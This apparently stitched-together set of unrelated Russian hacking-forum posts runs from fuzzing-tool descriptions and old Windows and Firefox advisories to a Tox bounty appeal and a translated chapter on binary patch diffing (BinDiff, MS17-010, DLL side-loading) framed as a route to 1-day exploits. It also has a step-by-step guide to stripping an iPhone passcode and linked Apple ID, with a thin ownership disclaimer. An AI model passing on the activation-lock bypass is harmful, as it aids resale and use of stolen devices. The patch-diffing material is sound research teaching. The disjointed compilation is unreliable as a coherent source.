В разделе есть специальный тег PWN, которым помечаются цтф решения и writeups по бинарной эксплуатации, позволяя пользователям изучать различные техники и подходы к анализу уязвимостей на основе уже готовых решений.
КМБ (Курс молодого бойца) CTF (с)
В этой теме выкладываем ссылки на фаззинг инструменты с кратким описанием их.
Рисунок ( зависимости и использование ). Года создания и использования
различных фаззинг инструментов, стрелочками указано ответвление разработки
нового фаззера, так же указаны три категории инструментов по типу тестирования
White\Black\Grey box.
AFL-UTILS
Фаззер AFL (American fuzzy lop) все набирает популярность и сообщество вокруг себя, что закономерно приводит к появлению расширений и улучшений для него от сторонних разработчиков.
Afl-utils — это коллекция инструментов для помощи при фаззинге для american fuzzy lop (afl). Он включает в себя инструменты для решения двух больших задач:
• автоматический сбор, верификацию, повторение и анализ падений (afl_collect,
afl_vcrash);
• простое управление параллельными (multi-core) задачами при фаззинге
(afl_multicore, afl_multikill). Функции инструментов:
• afl_collect — собирает все краши в централизованном месте для последующего
их анализа, а также позволяет запускать для анализа пользовательские GDB-
скрипты, например exploitable-скрипт для проверки эксплуатации падения и его
классификации;
• afl_multicore — запускает параллельно несколько сессий фаззинга в фоне;
• afl_multikill — завершает все afl-fuzz сессии, принадлежащие afl_multicore
сессии;
• afl_vcrash — проверяет, что краши от afl-fuzz приводят к падению целевого
исполняемого файла.
URL: https://github.com/rc0r/afl-utils
OS: Linux
AFL FUZZING CODE COVERAGE
Afl-cov — это вспомогательный Python-скрипт для фаззера Михала Залевски AFL (American fuzzy lop). Для своей работы afl-cov использует тест-кейс файлы от AFL для генерации gcov результата покрытия кода целевого исполняемого файла. Покрытие кода интерпретируется от одного тест-кейса к следующему для того, чтобы определить, какие новые функции или ветки кода были затронуты AFL на каждой итерации. В дальнейшем afl-cov позволяет задать строчки кода или функции в файлах покрытия, и потом сделать соответствие тест-кейсам, которые их затронули. Это позволяет пользователю обнаружить, какой AFL тест-кейс первым затронул ту или иную функцию. В дополнение к этому afl-cov предоставляет zero coverage отчет о функциях и участках кода, которые никогда не были выполнены в процессе фаззинга AFL.
Ну и как ты, наверное, понимаешь, это в конечном счете помогает улучшить/увеличить покрытие кода в процессе фаззинга, где не справился сам AFL.
Из зависимостей скрипта:
• afl-fuzz;
• Python;
• gcov, lcov, genhtml.
URL: https://github.com/mrash/afl-cov
OS: Linux
Забыли пароль от своего яблочного устройства?) Не проблема !
Сегодня я научу вас как обойти пароль (пин код) , и удалить привязанный apple
id к устройству!
Для начала хочу предупредить, я не имею никакого отношения к приведении к
работоспособности краденых девайсов , и не держу ответственности за ваши
действия!
Все действия показанные в статье сделаны для того , чтобы вы могли
пользоваться своим девайсом если забыли пароль(пин код) или пароль от apple
id.
Хочу напомнить , что после удаления пароля , все данные с устройства удаляются. Для обхода пароля устройство не требует джейлбрейка.
Начнем! Для работы потребуется софтина Fonelab ios unlocker , скачиваем , и запускаем.
Для удаления пароля (пин кода)
1.Выбираем "Удалить пароль"
2.Подключаем устройство
3.Подтверждаем информацию об устройстве
4.Нажимаем "Начинать"
Готово! ждем пока установиться прошивка. Как видим теперь на устройстве нет пинкода!
Для отвязки от apple id
1.Выбираем "Удалить Apple id"
2. Подключаем устройство
3. Подтверждаем все действия
Готово! ждем и наслаждаемся успехом!
Софт работает со всеми видами устройств iphone/ipad и всеми версиями ios , линцензия на софт платная , но есть много аналог скриптов в клирнете с похожей функцией!
Microsoft Windows 2000/2003/XP
Опасность: Критическая
Наличие эксплоита: Нет
Описание:
Уязвимость в Microsoft Windows позволяет удаленному пользователю
скомпрометировать уязвимую систему.
Переполнение буфера обнаружено при обработке специально обработанных внедренных шрифтов. В результате возможно удаленно выполнить произвольный код когда пользователь посещает специально обработанный Web сайт или просматривает email сообщение содержащее специально обработанный встроенный Web шрифт.
:zns2: Microsoft
Решение:
Microsoft Windows 2000 (requires Service Pack 4):
http://www.microsoft.com/downloads/details...4B-4146775BF590
Microsoft Windows XP (requires Service Pack 1 or 2):
http://www.microsoft.com/downloads/details...BD-B21AC75B5243
Microsoft Windows XP Professional x64 Edition:
[http://www.microsoft.com/downloads/details...AB-3F833969E197](http://www.microsoft.com/downloads/details.aspx?FamilyId=1990B2CF-
AE88-4849-AEAB-3F833969E197)
Microsoft Windows Server 2003 (with or without Service Pack 1):
http://www.microsoft.com/downloads/details...34-BDF0998869C5
Microsoft Windows Server 2003 (Itanium) (with or without SP1):
http://www.microsoft.com/downloads/details...4D-11EFA57D9CC5
Microsoft Windows Server 2003 x64 Edition:
http://www.microsoft.com/downloads/details...42-AF0D8A7BC388
Источник: SecurityLab
Смахивает на баян,но предлагаю,кто возьмёться убрать в токсе все возможности
эксплуатации,чтобы можно было передавать только текст и ссылки.картинки и
передачу файлов отключить.а на тексте и на добавление в друзья добавить
фильтрацию от спецсимволов?
так же предлагаю обсудить места где возможно была эксплуатация,не так же много
мест где передаются данные в токс ,не похоже вообще что там был баг,похоже на
баян.
За каждый дельный пост и помощь в разработке по 100$ буду закидывать как
бонус(за каждое дельное сообщение) всем кто будет помогать открыто сделать
токс безопаснее.
Победителю,кто сделает tox идеально безопасным,кто возьмёться 1K$
Вот в соседнем закрытом топике,нашёл на одной из 3х страниц пост дельный от человека(u0p, напиши,отправлю бонус)
https://xss.is/threads/88913/post-619836
Просьба модераторов давать предупреждения флудерам.Топик по теме действительно возможности эксплуатации в токсе.Через личку буду ВАм на кошелёк скидывать денежку.Потом можете отписывать в топике что денежку получили.Остальное уже флуд.Ребят давайте по делу.
Огнелис порадовал очередным багом.
Уязвимость имеет место быть при преобразовании интернациональных имён (IDN) в
браузерах, построенных на движках Mozilla (FireFox, Mozilla, Netscape).
Уязвомость нашли ребята из security-protocols.com
Решение: Установить xpi патч от производителя
Подробно+Сплойт
В ответ на прибыльный рост исследований уязвимостей, уровень интереса к двоичному сравнению пропатченных уязвимостей продолжает расти. Обнаруженные в частном порядке и обнаруженные внутри компании уязвимости обычно предоставляют ограниченные технические сведения. Процесс бинарного сравнения можно сравнить с охотой за сокровищами, когда исследователям предоставляется ограниченная информация о местонахождении и деталях уязвимости или "cхороненного сокровища". При наличии необходимых навыков и инструментов исследователь может найти и идентифицировать изменения кода, а затем разработать работающий эксплоит.
В этой главе мы рассмотрим следующие темы:
- Сравнения приложений и патчей
- Инструменты для двоичного сравнения
- Процесс управления патчами
- Real-world сравненияClick to expand...
Введение в двоичное сравнение
При внесении изменений в скомпилированный код, такой как библиотеки, приложения и драйверы, разница между пропатченными и непропатченными версиями может дать возможность обнаружить уязвимости. На самом базовом уровне двоичное сравнение - это процесс выявления различий между двумя версиями одного и того же файла, такими как версия 1.2 и 1.3. Возможно, наиболее распространенной целью двоичных сравнений являются исправления Microsoft; однако это можно применить ко многим различным типам скомпилированного кода. Доступны различные инструменты для упрощения процесса сравнения двоичных файлов, что позволяет быстро определять изменения кода в дизассемблере.
Сравнение приложений
Обычно выпускаются новые версии приложений. Причина выпуска может включать в себя введение новых функций, изменения кода для поддержки новых платформ или версий ядра, использование новых средств контроля безопасности во время компиляции, таких как canaries или Control Flow Guard (CFG), а также исправление уязвимостей. Часто новая версия может включать комбинацию вышеупомянутых рассуждений. Чем больше изменений в коде приложения, тем сложнее выявить пропатченные уязвимости. Большая часть успеха в выявлении изменений кода, связанных с исправлениями уязвимостей, зависит от ограниченного раскрытия информации. Многие организации предпочитают публиковать минимальную информацию о характере исправления безопасности. Чем больше улик мы сможем получить из этой информации, тем больше вероятность, что мы обнаружим уязвимость. Эти типы подсказок будут показаны в реальных сценариях позже в этой главе.
Здесь показан простой пример фрагмента кода C, который включает уязвимость:
А здесь пропатченный код
Проблема с первым фрагментом заключается в использовании функции gets(),
которая не предлагает проверки границ, что приводит к возможности переполнения
буфера. В пропатченном коде используется функция fgets(), которая требует
аргумента размера, что помогает предотвратить переполнение буфера. Функция
fgets() считается устаревшей и, вероятно, это не лучший выбор из-за ее
неспособности правильно обрабатывать нулевые байты, например, в двоичных
данных; однако это лучший выбор, чем gets(). Мы рассмотрим этот простой пример
позже, используя инструмент двоичного сравнения.
Сравнение патчей
Исправления безопасности, например, от Microsoft и Oracle, являются одними из самых прибыльных целей для двоичного сравнения. У Microsoft исторически был хорошо спланированный процесс управления исправлениями, который следует ежемесячному графику, при котором исправления выпускаются во второй вторник каждого месяца. Исправленные файлы чаще всего представляют собой библиотеки динамической компоновки (DLL) и файлы драйверов, хотя многие другие типы файлов также получают обновления. Многие организации не устанавливают исправления для своих систем быстро, оставляя открытой возможность для злоумышленников и специалистов на проникновение скомпрометировать эти системы с помощью публично раскрытых или разработанных в частном порядке эксплоитов с помощью различения исправлений. Начиная с Windows 10, Microsoft гораздо более агрессивно относится к требованиям к установке исправлений. В зависимости от сложности исправленной уязвимости и сложности поиска соответствующего кода рабочий эксплоит иногда может быть разработан быстро в первые дни после выпуска исправления. Эксплоиты, разработанные после обратного проектирования исправлений безопасности, обычно называют 1-day эксплоитами.
По мере продвижения по этой главе вы быстро увидите преимущества сравнения изменений кода для драйверов, библиотек и приложений. Хотя это и не новая дисциплина, двоичное сравнение только продолжает привлекать внимание исследователей безопасности, хакеров и производителей как жизнеспособный метод обнаружения уязвимостей и получения прибыли. Ценник на 1-day эксплойт не так высок, как 0-day; однако нередки случаи, когда выплаты за столь востребованные эксплоиты выражаются пятизначными числами. Поставщики фреймворков для эксплуатации хотят иметь больше эксплоитов, связанных с уязвимостями, раскрытыми в частном порядке, чем их конкуренты.
Инструменты двоичного сравнения
Ручной анализ скомпилированного кода больших двоичных файлов с помощью дизассемблеров, таких как Interactive Disassembler (IDA), может стать сложной задачей даже для самого опытного исследователя. Благодаря использованию свободно доступных и коммерчески доступных инструментов сравнения двоичных файлов можно упростить процесс определения интересующего кода, связанного с исправленной уязвимостью. Такие инструменты могут сэкономить сотни часов времени, потраченного на реверс кода, который может не иметь отношения к искомой уязвимости. Вот пять наиболее широко известных инструментов для сравнения двоичных файлов:
- Zynamics BinDiff (free). Приобретенный Google в начале 2011 года, Zynamics BinDiff доступен по адресу www.zynamics.com/bindiff.html. Требуется лицензионная версия IDA версии 5.5 или новее.
turbodiff (free). Разработанный Nicolas Economou из Core Security, turbodiff доступен по адресу http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=turbodiff. Его можно использовать с бесплатной версией IDA 4.9 или 5.0.
- patchdiff2 (free). patchdiff2, разработанный Nicolas Pouvesle, доступен по адресу https://code.google.com/p/patchdiff2/. Требуется лицензионная версия IDA 6.1 или новее.
- DarunGrim (бесплатно), DarunGrim, разработанный Jeong Oh О (Matt Oh), доступен на www.darungrim.org. Требуется последняя лицензионная версия IDA.
- Diaphora (бесплатно) разработанный Joxean Koret. Diaphora доступна по адресу https://github.com/joxeankoret/diaphora. Официально поддерживаются только самые последние версии IDA.
Click to expand...
Каждый из этих инструментов работает как подключаемый модуль к IDA, используя различные методы и эвристики для определения изменений кода между двумя версиями одного и того же файла. Вы можете получить разные результаты при использовании каждого инструмента с одними и теми же входными файлами. Для каждого из инструментов требуется возможность доступа к файлам базы данных IDA (.idb), следовательно, требуется лицензионная версия IDA или бесплатная версия с turbodiff. Для примеров в этой главе мы будем использовать коммерческий инструмент BinDiff, а также turbodiff, потому что он работает с бесплатной версией IDA 5.0, которую все еще можно найти в Интернете на различных сайтах. Это позволяет пользователям, не имеющим коммерческой версии IDA, выполнять упражнения. Единственные инструменты из списка, которые активно поддерживаются, - это Diaphora и BinDiff, хотя BinDiff не часто обновляется. Авторы каждого из них заслуживают высокой оценки за предоставление таких прекрасных инструментов, которые экономят нам бесчисленные часы, пытаясь найти изменения в коде.
BinDiff
Как упоминалось ранее, в начале 2011 года Google приобрела немецкую компанию по разработке программного обеспечения Zynamics, которую возглавлял известный исследователь Thomas Dullien, также известный как Halvar Flake. Zynamics была широко известна инструментами BinDiff и BinNavi, которые помогают в реверс инжиниринге. После приобретения Google значительно снизил стоимость этих инструментов до одной десятой их первоначальной цены, что сделало их гораздо более доступными. В марте 2016 года Google объявил, что в будущем BinDiff будет бесплатным. Новые версии обычно не выпускаются, при этом BinDiff 4.3 был самой последней версией на момент написания этой статьи. Версия 4.3 предлагает поддержку macOS. BinDiff часто называют одним из лучших инструментов в своем роде, обеспечивающим глубокий анализ изменений блоков и кода. По состоянию на начало 2018 года BinDiff не был портирован для работы с IDA 7.1 или более поздней версии. Это может измениться в любой момент.
BinDiff 4.3 поставляется в виде пакета установщика Windows (.msi). Для установки требуется всего несколько щелчков мышью, лицензионная копия IDA и Java SE Runtime Environment 8. Чтобы использовать BinDiff, вы должны разрешить IDA выполнять автоматический анализ двух файлов, которые вы хотите сравнить, и сохранить файлы IDB. Когда это будет завершено и один из файлов будет открыт внутри IDA, вы нажмете CTRL+6, чтобы вызвать графический интерфейс BinDiff, как показано здесь.
Следующим шагом является нажатие кнопки Diff Database и выбор другого файла IDB для сравнения. В зависимости от размера файлов это может занять минуту или две. После завершения сравнения в IDA появятся новые вкладки, включая "Matched Functions", "Primary Unmatched" и "Secondary Unmatched". Вкладка "Matched Functions" содержит функции, существующие в обоих файлах, которые могут включать или не включать изменения. Другую вкладку можно закрыть. Каждая функция получает оценку от 0 до 1,0 в столбце Similarity, как показано ниже. Чем ниже значение, тем больше изменилась функция между двумя файлами. Как заявляет Zynamics/Google в отношении вкладок Primary Unmatched и Secondary Unmatched, "Первая отображает функции, которые содержатся в текущей открытой базе данных и не связаны ни с одной функцией из различаемой базы данных, тогда как Secondary Unmatched subview содержит функции которые находятся в базе данных diff, но не связаны ни с какими функциями в первой".
Для получения наиболее точных результатов важно различать правильные версии файла. При переходе на сайт Microsoft TechNet для приобретения исправлений, опубликованных до апреля 2017 г., вы увидите столбец справа под названием "Updates Replaced". Вскоре будет рассмотрен процесс получения исправлений, начавшийся в апреле 2017 года. Щелкнув ссылку в этом месте и это приведет вас к предыдущему самому последнему обновлению исправляемого файла. Такой файл, как mshtml.dll, обновляется почти каждый месяц. Если вы сравниваете версию файла, полученную несколькими месяцами ранее, с только что выпущенным патчем, количество различий между двумя файлами очень затруднит анализ. Другие файлы не исправляются очень часто, поэтому, щелкнув вышеупомянутую ссылку, вы перейдете к последнему обновлению файла, о котором идет речь, чтобы вы могли различать подходящие версии. После того, как интересующая функция идентифицирована с помощью BinDiff, визуальное сравнение может быть сгенерировано либо щелчком правой кнопкой мыши по желаемой функции на вкладке "Matched Functions" и выбором "View Flowgraphs", либо щелчком по желаемой функции и нажатием CTRL+E. Ниже приведен пример визуального сравнения. Обратите внимание, что вы не сможете прочитать дисассемблерный код, потому что он уменьшен, чтобы поместиться на странице.
Turbodiff
Другой инструмент, который мы рассмотрим в этой главе, - turbodiff. Этот инструмент был выбран из-за его способности работать с бесплатной версией IDA 5.0. DarunGrim и patchdiff2 также являются отличными инструментами; однако для их использования требуется лицензионная копия IDA, что делает невозможным выполнение упражнений в этой главе без приобретения лицензионной копии для тех, кто читает ее. DarunGrim и patchdiff2 удобны для пользователя и просты в установке с помощью IDA. Diaphora - еще одна фантастическая альтернатива BinDiff, и вам предлагается попробовать ее и сравнить это в BinDiff.
Как упоминалось ранее, плагин turbodiff можно получить с веб-сайта http://corelabs.coresecurity.com/, и его можно бесплатно загрузить и использовать по лицензии GPLv2. Последний стабильный выпуск - версия 1.01b_r2, выпущенный 19 декабря 2011 года. Чтобы использовать turbodiff, вы должны загрузить два файла для сравнения по одному в IDA. После того, как IDA завершит свой автоматический анализ первого файла, вы нажмете CTRL+F11, чтобы открыть всплывающее меню turbodiff. Из вариантов при первом анализе файла выберите "take info from this idb" и нажмите "ОК". Повторите те же шаги для другого файла, который нужно включить в diff. Как только это будет выполнено с обоими файлами, которые нужно сравнить, снова нажмите CTRL+F11, выберите вариант "compare with…", а затем выберите другой файл IDB. Должно появиться следующее окно.
В столбце категории вы можете увидеть такие ярлыки, как идентичный, подозрительный+, подозрительный++ и измененный. Каждая метка имеет значение и может помочь исследователю выделить наиболее интересные функции, в первую очередь метки подозрительный+ и подозрительный++. Эти метки указывают на то, что были обнаружены контрольные суммы в одном или нескольких блоках выбранной функции, а также на то, изменилось ли количество инструкций. Когда вы дважды щелкаете имя нужной функции, отображается визуальное сравнение, при этом каждая функция отображается в своем собственном окне, как показано здесь.
Лабораторная работа 17-1. Наше первое сравнение.
В этой лабораторной работе вы выполните простое сравнение с кодом, ранее показанным в разделе "Application Diffing". Необходимо сравнить двоичные файлы ELF name и name2. Имя файла - это файл без исправлений, а name2 - с исправлением. Сначала необходимо запустить IDA 5.0, которое вы установили ранее. Как только она будет запущена, перейдите в File | New, выберите вкладку Unix во всплывающем окне и щелкните параметр ELF слева, как показано здесь, а затем щелкните OK.
Перейдите в папку C:\grayhat\app_diff\ и выберите файл name. Примите появившиеся параметры по умолчанию. IDA должна быстро завершить свой автоматический анализ, используя по умолчанию функцию main() в окне дизассемблирования, как показано ниже.
Нажмите CTRL+F11, чтобы открыть всплывающее окно turbodiff. Если он не появляется, вернитесь назад и убедитесь, что вы правильно скопировали необходимые файлы для turbodiff. С окном turbodiff на экране выберите опцию "take info from this idb" и нажмите OK, а затем еще раз "OK". Затем перейдите в File | New, и вы получите всплывающее окно с вопросом, хотите ли вы сохранить базу данных. Примите значения по умолчанию и нажмите "ОК". Повторите шаги выбора вкладки Unix | ELF Executable, а затем нажмите OK. Откройте двоичный файл ELF name2 и примите значения по умолчанию. Повторите шаги по открытию всплывающего окна turbodiff.
Теперь, когда вы выполнили это для обоих файлов, снова нажмите CTRL+F11, при этом файл name2 все еще открыт в IDA. Выберите вариант "compare with…" и нажмите "ОК". Выберите файл name.idb и нажмите "ОК", а затем — "ОК". Должно появиться следующее поле (возможно, вам придется отсортировать по категориям, чтобы воспроизвести точное изображение).
Обратите внимание, что функция getName() помечена как "подозрительная++". Дважды щелкните функцию getName(), чтобы открыть следующее окно.
На этом изображении в левом окне показана пропатченная функция, а в правом окне - непропатченная функция. Блок без исправлений использует функцию gets(), которая не обеспечивает проверку границ. Исправленный блок использует функцию fgets(), для которой требуется аргумент размера, чтобы предотвратить переполнение буфера. Пропатченный дизассемблерный код показан здесь:
Внутри этих двух функций была пара дополнительных блоков кода, но они белые и не содержат измененного кода. Это просто код защиты стека, который проверяет canaries стека, за которым следует эпилог функции. На этом лабораторная работа завершена. В дальнейшем мы посмотрим на real-world различия.
Процесс управления патчами
У каждого поставщика есть собственный процесс распространения исправлений, включая Oracle, Microsoft и Apple. У некоторых поставщиков есть установленное расписание выпуска исправлений, тогда как у других нет установленного расписания. Наличие постоянного цикла выпуска исправлений, например, используемого Microsoft, позволяет ответственным за управление большим количеством систем соответствующим образом планировать обновление. Внеполосные исправления могут быть проблематичными для организаций, потому что могут не быть доступных ресурсов для развертывания обновлений. Мы сосредоточимся в первую очередь на процессе управления исправлениями Microsoft, потому что это зрелый процесс, который часто используется для обнаружения уязвимостей с целью извлечения прибыли.
Microsoft Patch Tuesday
Второй вторник каждого месяца - это ежемесячный цикл исправлений Microsoft, иногда с выходом дополнительных исправлений из-за критического обновления. Процесс менялся с момента появления накопительных обновлений Windows 10, вступающих в силу в Windows 7 и 8 с октября 2016 года, а также изменения способа загрузки исправлений. Вплоть до апреля 2017 г. сводку и исправления безопасности для каждого обновления можно было найти по адресу https://technet.microsoft.com/en-us/security/bulletin. Начиная с апреля 2017 г., исправления можно получить на сайте Microsoft Security TechCenter по адресу https://portal.msrc.microsoft.com/en-us/security-guidance, а сводную информацию можно найти на сайте <https://portal.msrc.microsoft.com/en- us/security-guidance/summary>. Исправления обычно получаются с помощью инструмента Windows Update на панели управления Windows или управляются централизованно с помощью такого продукта, как Windows Server Update Services (WSUS) или Windows Update для бизнеса (WUB). Если исправления необходимы для распространения, их можно получить по вышеупомянутой ссылке TechNet.
Каждый бюллетень исправлений связан с дополнительной информацией об обновлении. Некоторые обновления являются результатом публично обнаруженной уязвимости, в то время как большинство из них связано с той или иной формой скоординированного частного раскрытия информации. На следующем изображении показан пример одной такой уязвимости, раскрытой в частном порядке.
Как видите, об уязвимости предоставляется лишь ограниченная информация. Чем больше информации предоставлено, тем больше вероятность, что кто-то сможет быстро найти исправленный код и создать работающий эксплоит. В зависимости от размера обновления и сложности уязвимости обнаружение только исправленного кода может оказаться сложной задачей. Часто уязвимое состояние носит чисто теоретический характер или может возникать только при очень специфических условиях. Это может увеличить сложность определения основной причины и создания POC, который успешно запускает ошибку. Как только основная причина определена и уязвимый код найден и доступен для анализа в отладчике, необходимо определить, насколько сложно будет добиться выполнения кода, если это применимо.
Получение и извлечение исправлений Microsoft
Скоро мы дойдем до лабораторной, но сначала давайте рассмотрим пример получения и извлечения накопительного обновления для Windows 10. Накопительные обновления до апреля 2017 г. доступны в Microsoft TechNet по адресу https://technet.microsoft.com/en-us/library/security/dn631937.aspx. Накопительные обновления с апреля 2017 г. доступны по адресу https://portal.msrc.microsoft.com/en-us/security-guidance. В нашем примере мы смотрим на MS17-010, в котором исправлено несколько ошибок с SMB и который был выпущен в марте 2017 года. Информация об этом раскрытии доступна по адресу https://technet.microsoft.com/en-us/library/security/ms17-010.aspx. Заголовки исправлений безопасности показаны на следующем изображении.
Мы сосредоточимся на CVE-2017-0147, "Уязвимость Windows SMB, связанная с раскрытием информации", чтобы просто определить исправление, но сначала мы должны загрузить и извлечь обновление. Используя вышеупомянутую ссылку на MS17-010, щелкните и загрузите 32-разрядное обновление Windows 10 через сервер каталогов Microsoft, как показано ниже.
Обведенная область слева - это ссылка для загрузки обновления через сервер каталога. Обведенная ссылка справа - это поле Updates Replaced. Щелкнув по этой ссылке, вы перейдете к информации об обновлении, когда в последний раз были исправлены соответствующий файл или файлы. Если файл srv.sys был исправлен в октябре 2017 года, а последний раз он был исправлен до этого в июле 2017 года, ссылка Updates Replaced приведет вас к этому обновлению. Это важно отметить, потому что вы всегда хотите различать версии, наиболее близкие друг к другу, чтобы любые изменения функций были связаны с интересующими вас CVE.
Теперь, когда было загружено накопительное обновление для 32-разрядной версии Windows 10 за март 2017 г., мы будем использовать инструмент PatchExtract, созданный Greg Linares, чтобы упростить извлечение. PatchExtract - это сценарий PowerShell, который использует Microsoft инструмент expand и другие команды для извлечения и упорядочивания множества файлов, содержащихся в загруженном файле MSU и последующих файлах CAB. На момент написания этой статьи PatchExtract версии 1.3 все еще оставался самой последней. Он доступен по адресу https://pastebin.com/VjwNV23n. Greg пользуется псевдонимом Twitter @Laughing_Mantis. Также существует связанный сценарий PowerShell под названием PatchClean, который помогает в дальнейшей организации извлеченных обновлений и гарантирует, что только файлы, которые были изменены в течение последних 30 дней, помечены как интересные. Причина в том, что накопительные обновления содержат все обновления, относящиеся к этой версии Windows, за многие месяцы. PatchClean перемещает все файлы старше 30 дней в "старую" папку, чтобы можно было уделить внимание недавно обновленным файлам. Это по-прежнему требует, чтобы вы выполнили проверку, и вы также должны знать дату, когда выполняется извлечение. Если вы выполняете извлечение и запускаете PatchClean после даты выпуска первоначального исправления, вам может потребоваться соответствующая настройка даты и времени.
Следующая команда является примером запуска PatchExtract из командной строки администратора для извлечения файлов и исправлений из накопительного обновления за март 2017 года:
Команда может выглядеть длинной, но в основном это связано с введенным путем и
длинным именем кумулятивного обновления. После ввода PatchExtract выполнит
извлечение, что может занять несколько минут в зависимости от размера файла.
Накопительные обновления Windows 10 x64 могут иметь размер более 1 ГБ, поэтому
мы выбрали версию x86. Как только оно будет закончено, у нас останется
несколько папок. В нашем примере мы хотим зайти в папку "x86" и посмотреть что
внутри. Там есть 1165 вложенных папок. Найдите минутку, чтобы подумать о нашей
цели. Мы хотим идентифицировать только файлы, относящиеся к мартовскому циклу
исправлений 2017 года, но у нас осталось 1165 подпапок. Здесь в игру вступает
инструмент PatchClean. Сначала мы хотим зайти и изменить дату системы,
используемой для анализа, на дату вторника исправлений для марта 2017 года.
Это будет вторник, 14 марта. По умолчанию PatchClean возвращается на 30 дней
назад с даты и перемещает все файлы, время изменения которых превышает
указанное, в "старую" папку. Это позволяет нам видеть, какие файлы были
изменены за последние 30 дней.
После завершения скрипта у нас остается 318 из 1165 исходных папок. Это большое количество неудивительно, поскольку Microsoft пропустила вторник исправлений в феврале 2017 года из-за задержек с исправлением уязвимостей SMB.
Лабораторная 17-2: Diffing MS17-010
В этой лабораторной работе вы будете использовать два файла srv.sys, доступные в репозитории Gray Hat. Один находится в папке "Old", а другой - в папке "New". Новый из обновления за март 2017 года. Примеры, показанные в этой лабораторной работе, взяты из IDA 7.0 в режиме совместимости с x86 для использования подключаемого модуля BinDiff 4.3.
Первый шаг - открыть вашу лицензионную копию IDA или бесплатную версию 5.0, если у вас нет лицензионной версии, и открыть новый файл srv.sys. Разрешите IDA завершить анализ. По завершении сохраните базу данных и откройте старую версию srv.sys. После завершения анализа вы готовы к выполнению сравнения. Загрузив cтарый файл srv.sys, нажмите CTRL+6, чтобы открыть меню BinDiff, а затем щелкните Diff Database .… Если вы используете turbodiff, нажмите CTRL+F11, чтобы вызвать его меню, и используйте тот же метод, что и в лабораторной работе 17-1.
После нажатия кнопки Diff Database… перейдите к IDB-файлу «New» srv.sys и выполните сравнение. Через несколько секунд сравнение должно быть завершено, и у вас должны появиться новые вкладки внутри IDA. То, что нас интересует, - это "Matched Functions". В результатах сравнения, показанных ниже, мы выбрали функцию SrvSmbTransaction(). Часто, когда есть более чем несколько функций с изменениями, вы должны смотреть на имена функций при определении потенциальных интересующих функций.
Нажмите CTRL+E, чтобы выполнить графическое сравнение. При использовании turbodiff обязательно используйте метод, описанный ранее, для графического сравнения. Вот "уменьшенный" обзор графического сравнения.
Если вы щелкнете по любому из ассемблерных блоков, а не просто увеличите масштаб, экран изменит конфигурацию и отобразит только группу вокруг выбранного блока. Если вы хотите вернуться к основному обзору, вы должны щелкнуть значок "Select Ancestors" на главной панели ленты BinDiff, как показано ниже.
В этом примере непропатченная версия srv.sys находится слева, а пропатченная
версия - справа. После увеличения и осмотра различий мы обнаруживаем
интересное изменение. Следующее изображение взято из непропатченной версии, и
вы можете видеть, что функция ExecuteTransaction вызывается, как указано.
Теперь посмотрим на пропатченную версию. Тот же самый блок кода, который приводит к вызову функции ExecuteTransaction, теперь вместо этого сначала выполняет некоторые вызовы функции memset.
Вы все еще можете видеть функцию ExecuteTransaction в среднем блоке, но поток должен сначала пройти через вызовы функции memset, прежде чем попасть в этот блок. Не стесняйтесь следовать за парой блоков на этом пути. Вызов функции memset, вероятно, устраняет утечку информации, связанную с CVE-2017-0147.
Сравнение патча для эксплуатации
В предыдущем сравнении патчей Microsoft с MS17-010 мы выявили изменения кода,
которые разрешили проблему раскрытия информации; однако это не привело нас к
эксплуатации ошибки. В следующем примере мы рассмотрим ошибку загрузки DLL,
которая может позволить разрешить удаленное выполнение кода и запустить
работающий эксплойт. И MS16-009, и MS16-014 заявляют о решении CVE-2016-0041,
которая связана с "DLL Loading Remote Code Execution Vulnerability". Автор
обнаружил, что интересующий нас файл был доступен в MS16-009 патче.
Чтобы оставаться последовательным, ошибка была обнаружена Greg Linares,
который написал ранее описанный инструмент PatchExtract.
DLL Side-Loading Bugs
При проверке в Интернете вы можете получить различные определения того, что
представляет собой DLL side-loading bug. В зависимости от настроек в реестре,
а также аргументов, переданных функции загрузки DLL, такой как набор функций
LoadLibrary(), может быть один или несколько способов принудительной загрузки
нежелательной DLL. Давайте воспользуемся простой аналогией, чтобы описать
пример проблемы. Мы предполагаем, что вы всегда кладете соль и перец,
используемые в еде, в определенное место на кухне. Представьте, что в
следующий раз, когда вы воспользуетесь ими, их нет в этом месте. Вы можете
отказаться от соли и перца или искать их в других местах, например, в других
шкафах, столах и прилавках.
В конце концов, вы либо найдете соль и перец, либо откажетесь. Это не так уж
отличается от порядка поиска, используемого при загрузке DLL. Более безопасный
параметр - разрешить загрузку желаемой DLL только из очень определенного
места, например C:\Windows\System32\.
Менее безопасный вариант - разрешить загрузку DLL из разных мест на основе
приоритета порядка поиска.
Давайте подробнее рассмотрим, как и откуда можно загружать библиотеки DLL. Во-
первых, в последних нескольких версиях Windows есть контейнер реестра, обычно
в
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\KnownDLLs\.
Здесь показан пример.
В этом контейнере хранятся библиотеки DLL, которые обычно используются для ускорения загрузки программ, но некоторые также рассматривают его как средство контроля безопасности, поскольку он указывает, что перечисленные библиотеки DLL могут быть загружены только из папки System32 в C:\Windows\System32\ или C:\Windows\SysWOW64\. Затем функцию LoadLibraryEx можно использовать для динамической загрузки библиотек DLL, запрошенных процессом:
Одним из обязательных аргументов является dwFlags, который используется для
указания того, откуда потенциально может быть загружена DLL, и других
вариантов поведения, например, связанных с AppLocker, и того, что произойдет
при входе в отношении выполнения кода.
Дополнительную информацию можно найти на <https://msdn.microsoft.com/en-
us/library/windows/desktop/ms684179(v=vs.85).aspx>. Если для аргумента dwFlags
оставить значение по умолчанию 0, поведение будет таким же, как у более старой
функции LoadLibrary, которая реализует SafeDllSearchMode. Как заявляет
Microsoft:
"Если включен SafeDllSearchMode, порядок поиска будет следующим:
- Каталог, из которого загружено приложение.
- Системный каталог. Используйте функцию GetSystemDirectory, чтобы получить
путь к этому каталогу.
- 16-битный системный каталог. Нет функции, которая получает путь к этому
каталогу, но он ищется.
- Каталог Windows. Используйте функцию GetWindowsDirectory, чтобы получить
путь к этому каталогу.
- Текущий каталог.
- Каталоги, перечисленные в переменной среды PATH.
Обратите внимание, что это не включает путь для каждого приложения, указанный в разделе реестра App Paths. Ключ App Paths не используется при вычислении пути поиска DLL ".
